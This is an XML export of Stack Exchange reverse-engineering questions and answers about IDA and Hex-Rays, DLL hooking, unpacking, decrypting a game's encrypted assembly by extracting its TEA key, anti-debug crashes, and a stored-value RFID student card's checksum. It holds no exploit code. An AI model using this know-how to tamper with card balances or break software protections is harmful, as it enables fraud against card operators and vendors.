  <row Id="12719" PostTypeId="2" ParentId="12150" CreationDate="2016-05-23T02:56:19.277" Score="0" Body="&lt;p&gt;First, there's no disassembly output given, so I can only give general suggestion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are thousands of reasons stop hex rays decompiling.Your situation is extremely common in reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually that's because other functions are not analyzed, its effect on the control flow is not being calculated, leads to wrong or incomplete output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply click into every functions, forcing hexrays analyze them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you mentioned you are reversing a game, there might be obfuscation. Maybe obfuscation made hexrays believe that those case statements cannot be executed, then dropped them from the output. To fix this you can modify function's control flow graph, and then make it clear that case statements WILL be executed, then the decompiler will produce the correct output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: Personally I think incomplete output is because of the Junk Code Removing technology, which might based on symbolic executing.&lt;/p&gt;&#xA;" OwnerUserId="16169" LastActivityDate="2016-05-23T02:56:19.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12720" PostTypeId="1" AcceptedAnswerId="12721" CreationDate="2016-05-23T03:12:55.707" Score="2" ViewCount="120" Body="&lt;p&gt;I have hooked into some functions in an exe. I was wondering if there were any simple ways to detect the memory addresses of these functions after the exe has a new build (not my exe). Is the best way to just scan the exe for the bytes of the function and compare to the previous result? Can this be achieved fast enough to add it to my injection code? &lt;/p&gt;&#xA;" OwnerUserId="13018" LastActivityDate="2016-05-23T05:48:31.873" Title="What is an easy way to update the addresses of hooked functions in an exe" Tags="|c++|dll-injection|function-hooking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12721" PostTypeId="2" ParentId="12720" CreationDate="2016-05-23T05:48:31.873" Score="1" Body="&lt;p&gt;It really depends on the functions you're hooking. If they're not likely to be changed, then scanning for the bytes would be the naive solution. It should be relatively fast and work perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's likely that the functions will have changed (patches, removal, different compiler/build env, etc) then you could try to find a bytestring 'signature' for those functions. Ideally that signature would be unique (only in that function), but also as small as possible (to reduce the likelihood that those bytes were patched in the new binary). This is going to be fairly hack-y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a note: if it was a DLL, you could walk the PE export table fairly trivially to find the new offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also Bindiff, which is now free: &lt;a href=&quot;https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html&quot; rel=&quot;nofollow&quot;&gt;https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bindiff is an IDA plugin that would probably solve your problem as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say try scanning for the bytes, and see how many you're successful in locating. The easy solution is the best solution! :)&lt;/p&gt;&#xA;" OwnerUserId="4409" LastActivityDate="2016-05-23T05:48:31.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12722" PostTypeId="2" ParentId="12708" CreationDate="2016-05-23T05:55:14.780" Score="1" Body="&lt;p&gt;99% of RE is figuring out what not to RE.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming there are 200k lines of assembly - using a debugger can quickly narrow that down to a few thousand that are actually processing the data you're interested in. Try setting a breakpoint on syscalls like open() or read() to see when it's interacting with your file, and following the buffer that the data is read in to.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you locate where your data is coming in to the program, static analysis becomes a much less daunting task.&lt;/p&gt;&#xA;" OwnerUserId="4409" LastActivityDate="2016-05-23T05:55:14.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12723" PostTypeId="1" CreationDate="2016-05-23T09:41:58.377" Score="13" ViewCount="1426" Body="&lt;p&gt;I am currently researching my studentcard.&#xA;Money is stored on this card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the vending machine also checks a checksum on the card.&#xA;I already did a lot of effort to find it but didn't succeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Studentcard layout:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FwsQ4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwsQ4.png&quot; alt=&quot;Studentcard Layout&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some transaction with the card. Only these values change on the card.&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gKQ6G.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gKQ6G.png&quot; alt=&quot;Transactions&quot;&gt;&lt;/a&gt;&#xA;(Unknown value(pink) is the checksum)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some testing with changing the values and this what I concluded from it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transaction byte is used in the checksum&lt;/li&gt;&#xA;&lt;li&gt;Money is also used in the checksum&lt;/li&gt;&#xA;&lt;li&gt;Some unique value from the card is also used.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&#xA;Meanwhile I will keep breaking my head :)&lt;/p&gt;&#xA;" OwnerUserId="16173" LastActivityDate="2019-06-06T01:25:30.917" Title="Reverse Engineering 2 byte checksum on RFID card" Tags="|crc|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12725" PostTypeId="1" CreationDate="2016-05-23T22:10:18.840" Score="1" ViewCount="230" Body="&lt;p&gt;I try to unpacking a software packed with PC guard 5 there are few month and i dont arrive manually or with script to find OEP. I readed many tutorials on it but dont worked. &#xA;Can you help me please ?&lt;/p&gt;&#xA;" OwnerUserId="15395" LastActivityDate="2016-05-23T22:10:18.840" Title="Help for unpacking software" Tags="|disassembly|debugging|decompilation|unpacking|" AnswerCount="0" CommentCount="2" ClosedDate="2016-05-24T22:57:09.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="12726" PostTypeId="1" AcceptedAnswerId="12727" CreationDate="2016-05-23T22:17:58.577" Score="3" ViewCount="2440" Body="&lt;p&gt;I have made a plugin (using IDA Python) that requires the Hex-Rays plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the instructions in the &lt;code&gt;hexrays_sdk&lt;/code&gt; folder, I've named my plugin starting with &lt;code&gt;hexrays_&lt;/code&gt; to make sure it loads after Hex-Rays is done loading. However, IDA decides to load my plugin earlier, and hence, it never is able to get &lt;code&gt;True&lt;/code&gt; for &lt;code&gt;idaapi.init_hexrays_plugin()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried renaming my plugin in multiple ways, but still cannot seem to get the plugin to load after Hex-Rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I think the issue might be related to the fact that I am storing my plugin in &lt;code&gt;%IDAUSR%/plugins&lt;/code&gt; rather than &lt;code&gt;%IDADIR%/plugins&lt;/code&gt; since I do not want to modify &lt;code&gt;%IDADIR%&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any kind of workaround to make the plugin load later? Or can I force IDA to load Hex-Rays earlier?&lt;/p&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2021-02-17T18:01:12.390" Title="Hex-Rays and IDA Python plugin loading order" Tags="|idapython|ida-plugin|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12727" PostTypeId="2" ParentId="12726" CreationDate="2016-05-23T22:49:56.417" Score="4" Body="&lt;p&gt;When loading plugins, IDA goes through them alphabetically, and tries to load all the plugins.&#xA;When loading a plugin, the loader check the plugin flags (&lt;code&gt;idaapi.PLUGIN_PROC&lt;/code&gt;, &lt;code&gt;idaapi.PLUGIN_FIX&lt;/code&gt;, and so on) to determine if the plugin should be loaded at the current time.&#xA;If it is to be loaded, the &lt;code&gt;init&lt;/code&gt; method is called. A plugin can return &lt;code&gt;PLUGIN_KEEP&lt;/code&gt; to remain loaded, or &lt;code&gt;PLUGIN_SKIP&lt;/code&gt; to avoid loading.&#xA;As long as a plugin is not in memory (not yet loaded, or already unloaded,) IDA will try and load it again and again. This is how my &lt;a href=&quot;https://github.com/tmr232/Sark/blob/master/plugins/plugin_loader.py&quot; rel=&quot;nofollow&quot;&gt;plugin loader&lt;/a&gt; works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first thing you need to be sure of, is that you flag your plugin &lt;code&gt;idaapi.PLUGIN_PROC&lt;/code&gt;, as this is when Hex-Rays loads (only when a processor module is active.)&#xA;Hopefully, this will solve it. If not - you can use &lt;code&gt;idaapi.load_plugin('hexrays')&lt;/code&gt; to explicitly load the Hex-Rays plugin. Again, this can only be done when a processor module is active, so be sure to use &lt;code&gt;PLUGIN_PROC&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-05-23T22:49:56.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12730" PostTypeId="1" CreationDate="2016-05-24T21:54:40.863" Score="10" ViewCount="18225" Body="&lt;p&gt;I wanto to capture and then process the USB data that is sent from a computer to a USB printer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are several software sniffers like Wireshark that can do that. But I need a hardware solution that does the capture and sends the captured packets to another computer. But a Beagle is too expensive. And apart from that I need to process the captured data in my own code. It would not serve me to have a professional software that only shows me the captured packets on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A comercial solution would be possible if costs less than $200.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also be a PCI card that is designed to capture USB signals together with an API that allows me to access the captured data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it would be perfect if this would be possible with a cheap USB capable hardware like any of the Arduino flavors or a Teensy and an open source library. Some of these microcontrollers support to act like USB host and client. So I suppose that they have also the capabality to just listen to the packets that go over the cable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I could not find any libraries for that purpose. I found sourcecode for keyloggers via PS/2 but I could not find any similar project to capture USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dfoq4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dfoq4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16186" LastEditorUserId="16186" LastEditDate="2016-05-25T21:11:02.200" LastActivityDate="2023-10-26T10:45:44.290" Title="Where do I find a cheap hardware USB sniffer" Tags="|usb|arduino|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12732" PostTypeId="1" AcceptedAnswerId="12925" CreationDate="2016-05-25T01:01:03.100" Score="2" ViewCount="1576" Body="&lt;p&gt;I have an interesting application that seems to crash whenever a particular region of memory is read using &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;ReadProcessMemory&lt;/a&gt;. I know it's not doing anything special with RPM because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Injecting a DLL to read that region of memory directly also causes a crash.&lt;/li&gt;&#xA;&lt;li&gt;Scanning regions with applications like &lt;a href=&quot;http://www.cheatengine.org/&quot; rel=&quot;nofollow&quot;&gt;CheatEngine&lt;/a&gt; also causes a crash.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's also not a guard region or a region with special protection flags. It's just a private R+W region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought they were installing hardware data breakpoints like those described &lt;a href=&quot;http://www.codeproject.com/Articles/28071/Toggle-hardware-data-read-execute-breakpoints-prog&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but after checking the debug registers of all threads and seeing that they were all zero made me conclude that another technique is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that they are somehow raising an exception whenever that piece of memory is read. I'm looking to understand what they're doing and how to detect it, or at the very least, make RPM not crash the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I cannot attach a debugger to this application, and the executable is encrypted, but I do know that various TLS callbacks are used along with VEH exception handlers.&lt;/p&gt;&#xA;" OwnerUserId="13817" LastActivityDate="2019-02-13T00:57:43.847" Title="Target application crashes when using ReadProcessMemory" Tags="|memory|exception|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12733" PostTypeId="1" AcceptedAnswerId="12734" CreationDate="2016-05-25T02:15:15.903" Score="5" ViewCount="10638" Body="&lt;p&gt;I'm trying to reverse engineer an Android app. I've tried using several decompilers, and while I'm getting java source codes to varying levels of accuracy, I'm not able to convert the resource IDs to the resource strings. In the Java source, all I'm getting is the 32bit resource ID, which is meaningless to me. Is there anyway to get the resource string from this resource ID? I did not find any R.java in any of the decompiled code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2019-03-11T19:42:54.993" Title="Mapping Android resource IDs to resource string" Tags="|decompilation|android|static-analysis|java|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12734" PostTypeId="2" ParentId="12733" CreationDate="2016-05-25T03:51:32.253" Score="5" Body="&lt;p&gt;Using &lt;code&gt;apktool&lt;/code&gt; you can decompile a program's resources. Also you can use JEB to view the resource id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;res/values&lt;/code&gt;, you can find the id using name in public.xml (or something similar, e.g. publics.xml or name.xml). That's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: You'll need to convert the 32bit resource id into HEX before you search for it.&lt;/p&gt;&#xA;" OwnerUserId="16169" LastEditorUserId="27759" LastEditDate="2019-03-11T19:42:54.993" LastActivityDate="2019-03-11T19:42:54.993" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="12735" PostTypeId="1" AcceptedAnswerId="12736" CreationDate="2016-05-25T07:25:12.067" Score="2" ViewCount="3198" Body="&lt;p&gt;So I have an android game. Its &lt;code&gt;Assembly-CSharp.dll&lt;/code&gt; causes &lt;code&gt;.NET Reflector&lt;/code&gt; to show&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;File is not a portable executable. DOS header does not contain 'MZ'&#xA;  signature&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's encrypted. The app seems to decrypt that assembly at app launch time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I used &lt;code&gt;UltraCompare&lt;/code&gt; to point out what is changed from previous version(It wasn't encrypted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;classes.dex&lt;/code&gt; was identical, so no java code was changed.&lt;br /&gt;&#xA;&lt;code&gt;libmain.so&lt;/code&gt; and &lt;code&gt;libunity.so&lt;/code&gt; was identical, but &lt;code&gt;libmono.so&lt;/code&gt; had a big change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was some new added symbols which seem to be related with encryption such as &lt;code&gt;TEAEncrypt&lt;/code&gt;, &lt;code&gt;TEADecrypt&lt;/code&gt;, &lt;code&gt;TEAEncryptString&lt;/code&gt;, &lt;code&gt;TEADecryptString&lt;/code&gt;, and some&#xA;mono library's C# internal call routine like &lt;code&gt;ves_icall_System_Security_SecureString_EncryptInternal&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the means of the encryption, I wander where are those functions called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was some changes to &lt;code&gt;Assembly-CSharp-firstpass.dll&lt;/code&gt;, &lt;code&gt;Assembly-UnityScript.dll&lt;/code&gt;, &lt;code&gt;Assembly-UnityStript-firstpass.dll&lt;/code&gt; with &lt;strong&gt;a same change pattern&lt;/strong&gt;. I can't figure out what does this means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where can be the &lt;strong&gt;Assembly-CSharp.dll&lt;/strong&gt; decrypted at runtime?&#xA;Or is there another way without decrypting that at runtime?&lt;/p&gt;&#xA;" OwnerUserId="13621" LastEditorUserId="13621" LastEditDate="2016-05-25T11:26:02.303" LastActivityDate="2016-05-25T11:26:02.303" Title="Where can be assembly-csharp.dll decrypted?" Tags="|dll|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12736" PostTypeId="2" ParentId="12735" CreationDate="2016-05-25T10:47:43.573" Score="2" Body="&lt;p&gt;Mono is, basically, open source. So anyone can create a Mono implementation that, whenever it reads a chunk of a CIL DLL file, applies encryption to it. Maybe Unity delivers a libmono.so that does encryption with its newest version; maybe the vendor of the game implemented something themselves. You could start checking patch notes of Unity to learn if this is an official new feature; if not, it's likely that the game vendor created their own encrypting libmono.so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your TEA functions are, most likely, called within the libmono.so itself. If i had to implement something like that, i'd write wrapper functions &lt;code&gt;TEAopen&lt;/code&gt;, &lt;code&gt;TEAread&lt;/code&gt;, &lt;code&gt;TEAclose&lt;/code&gt; for &lt;code&gt;fopen&lt;/code&gt;, &lt;code&gt;fread&lt;/code&gt;, &lt;code&gt;fclose&lt;/code&gt; that decrypt on reading the file, then replace the &lt;code&gt;f-*&lt;/code&gt; functions in the mono-code that reads a DLL with the &lt;code&gt;TEA-*&lt;/code&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TEA encryption works with 8-byte chunks, which may be one of the reasons it was used here; if you want to read just a part of the file, you don't need to read everything before your part, except a few bytes to fill the 8-byte-block. But this also means the same 8 input bytes will always result in the same 8 output bytes, if your original DLL has areas with a lot of '\0' bytes, they will result in the same 8 bytes repeated over and over in the encrypted DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.40.4708&amp;amp;rep=rep1&amp;amp;type=pdf&quot; rel=&quot;nofollow&quot;&gt;TEA has a weakness that turns a 128 bit key into 126 effective bits, there seems to be no known plaintext attack on it&lt;/a&gt;. This means, your observed same change pattern won't help you. So you need to extract the key from the mono implementation yourself. Disassemble that file, especially the &lt;code&gt;TEAEncrypt&lt;/code&gt; and &lt;code&gt;TEADecrypt&lt;/code&gt; functions. They should look somewhat like the code from the &lt;a href=&quot;https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm&quot; rel=&quot;nofollow&quot;&gt;Wikipedia article&lt;/a&gt;. Their second parameter is the key; either try to find out where that key is stored/generated, or do some dynamic analysis, put a breakpoint on those functions, and check what the parameter they get actually is. Also, check if it's really a standard TEA implementation, or maybe XTEA or a different key schedule constant or something. Once you have the key, find a program that takes a file and a TEA key and decrypts it, or roll your own; this shouldn't be too difficult as there are lots of open source TEA implementations in any language of your choice.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-05-25T10:47:43.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12737" PostTypeId="2" ParentId="12733" CreationDate="2016-05-25T13:24:48.370" Score="4" Body="&lt;p&gt;Yunchao Guan's answer is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, i recently unpacked an application (zaka.com.amperemeter-1.apk, yes, it's zaka.com, not com.zaka as it shoule be) to improve the bad German translation that had been done by google translate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unzipping the .apk, using dex2jar on the .dex, and procyon on the resulting jar gave me, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unzip/procyon/gluapps/Ampere/meter/Activity/MainActivity.java:240&#xA;    return this.getString(2131099670)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ALSO, procyon gave me an R.java that has a name for that number:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unzip/procyon/gluapps/Ampere/meter/R.java:909&#xA;    public static final int Usb_plug_type = 2131099670;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you really should get a R.java source code from decompiling. In case you don't, &lt;code&gt;apktool d zaka.com.amperemeter-1.apk&lt;/code&gt; gives you several files that have the same number, in hex, in smali files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;work/smali/gluapps/Ampere/meter/R$string.smali:20&#xA;   .field public static final Usb_plug_type:I = 0x7f060016&#xA;work/smali/gluapps/Ampere/meter/Activity/MainActivity.smali:477&#xA;    const v1, 0x7f060016&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;these are basically the same as in the decompiled java files. Additionally:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;work/res/values/public.xml:473&#xA;    &amp;lt;public type=&quot;string&quot; name=&quot;Usb_plug_type&quot; id=&quot;0x7f060016&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the key that maps to the actual, translated, string in the language-dependent file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;work/res/values-de/strings.xml:25&#xA;    &amp;lt;string name=&quot;Usb_plug_type&quot;&amp;gt;USB&amp;lt;/string&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, with a normal apk, if you use unzip/dex2jar/decompiler/apktool correctly, everthing should be there. If not, it would be best if you provided a link to the apk, because something weird might be going on with yours, but there's no way to tell unless you give us a chance to look at your specific apk.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-05-25T13:24:48.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12739" PostTypeId="2" ParentId="12732" CreationDate="2016-05-25T17:45:59.640" Score="1" Body="&lt;p&gt;Check if attaching windbg in &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff552274(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;non-invasive mode&lt;/a&gt; works. If yes, &lt;a href=&quot;https://stackoverflow.com/questions/14666721/windbg-how-to-check-memory-segment-permission&quot;&gt;check the page permissions&lt;/a&gt; of the target address range.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-05-25T17:45:59.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12740" PostTypeId="2" ParentId="12732" CreationDate="2016-05-25T22:41:34.097" Score="0" Body="&lt;p&gt;Is there any kernel mode anti-debug? The ReadProcessMemory is using KeAttachProcess. Maybe there's an inline hook that stops you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using ARK tools like PCHunter can search hooks in your system easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I don't think that the application can detect RPM in user mode. In fact, to detect RPM, either hooking NtReadVirtualMemory or hooking the system page fault handler is need. What's more, even if the page is protected with PAGE_NO_ACCESS, the application shouldn't crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I suspect that there is kernel mode hooking.&lt;/p&gt;&#xA;" OwnerUserId="16169" LastEditorUserId="16169" LastEditDate="2016-05-25T22:53:38.457" LastActivityDate="2016-05-25T22:53:38.457" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="12741" PostTypeId="2" ParentId="10742" CreationDate="2016-05-26T04:48:30.497" Score="0" Body="&lt;p&gt;You can try to set the type of function &lt;em&gt;va&lt;/em&gt;(using hotkey Y). Then if that has no effect, you can try to undefine the function, and re-define that func to force IDA re-analyse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have HexRays decompiler, you can call the decompiler in this function and then click into function &lt;em&gt;va&lt;/em&gt;, and then return to the original function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those above are tricks for IDA to force the analysis to be launched.&#xA;I have testeds them on binaries of different CTFs. And in most siturations they worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.:Sorry for my poor English&lt;/p&gt;&#xA;" OwnerUserId="16169" LastActivityDate="2016-05-26T04:48:30.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12742" PostTypeId="1" CreationDate="2016-05-26T07:16:57.593" Score="2" ViewCount="1300" Body="&lt;p&gt;I need to generate call graph for two DLL's and compare it using IDApython and it must be executed automatically in command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to generate and save call graph and immediately open next DLL and generate and save callgraph and then compare?&lt;/p&gt;&#xA;" OwnerUserId="16206" LastActivityDate="2016-06-07T08:12:00.407" Title="Compare call graphs of two dll's Using IDAPython comand line" Tags="|ida|idapython|call-graph|compare|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12743" PostTypeId="2" ParentId="12742" CreationDate="2016-05-26T10:11:08.463" Score="0" Body="&lt;p&gt;This is very broad question, which consists from some simpler ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to operate IDA from command line ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; you can invoke IDA from the command line with &lt;code&gt;-S&lt;/code&gt; switch to run specific script after auto-analysis is complete. You can create shell script to run multiple ida instances from the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to generate function graph and save it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#not tested, beware of errors, use on your own risk&#xA;# if you find GDL format problematic you can use ODT format&#xA;# by replacing idaapi.CHART_GEN_GDL to idaapi.CHART_GEN_ODT&#xA;import idaapi&#xA;import idc &#xA;import idautils&#xA;&#xA;for ea in idautils.Functions():&#xA;    idc.GenFuncGdl(&quot;%s.gdl&quot; % idc.GetFunctionName(ea), idc.GetFunctionName(ea), ea , idc.BADADDR, idaapi.CHART_GEN_GDL)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to generate the whole call graph ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idc.GenCallGdl(&quot;z:\\callgdl.gdl&quot;, &quot;TheTitle&quot;, CHART_GEN_GDL)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the possibility to use CHART_WINGRAPH and CHART_NOLIBFUNCS as flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use functions from &lt;code&gt;idaapi&lt;/code&gt;module instead, &#xA;look at &lt;code&gt;idaapi.gen_simple_call_chart&lt;/code&gt; and &lt;code&gt;idaapi.gen_complex_call_chart&lt;/code&gt;documentation &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to compare call graphs ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends what exactly you are trying to get from the comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-06-06T10:43:54.060" LastActivityDate="2016-06-06T10:43:54.060" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12744" PostTypeId="2" ParentId="3919" CreationDate="2016-05-26T10:49:18.717" Score="2" Body="&lt;p&gt;First of all, I only wanted to post a comment, but the reputation system wouldn't let me, because I'm new here.&lt;br&gt;&#xA;My research showed the following: For this project we have do distinguish between two types of coffee machines. The first one reads the barcode on the side of the T-Discs. This code is formatted using &lt;em&gt;Interleaved 2 of 5&lt;/em&gt;.&lt;br&gt;&#xA;The other type of machine (I think it's only the T43xx, and the T55xx) reads the barcode from the front of the T-Disc, as shown in the picture from User perror. We already discovered, that this code is kind of invalid, all scanner apps and online decoder I found couldn't convert it into readable text.&lt;br&gt;&#xA;During my research I discovered a &lt;a href=&quot;http://board.gulli.com/thread/739924-s-tassimo-t-disc-barcode-von-grosser-tasse/?p=14918070#post14918070&quot; rel=&quot;nofollow&quot;&gt;german forum post&lt;/a&gt;, telling that's an &lt;em&gt;invalid UPC-E&lt;/em&gt;. However I wasn't able to photoshop the missing parts on it, namely the start and end sequenz.&lt;br&gt;&#xA;In the same forum, one comment below my link there is a guy guessing that these codes refer to an internal memory with hardcoded brewing instructions. In my opinion that's wrong, because in this case tassimo couldn't update their disc lineup after the launch of the machines, and in my region they did this with the milk-discs.&lt;/p&gt;&#xA;" OwnerUserId="16209" LastEditorUserId="16209" LastEditDate="2016-05-26T13:15:33.003" LastActivityDate="2016-05-26T13:15:33.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
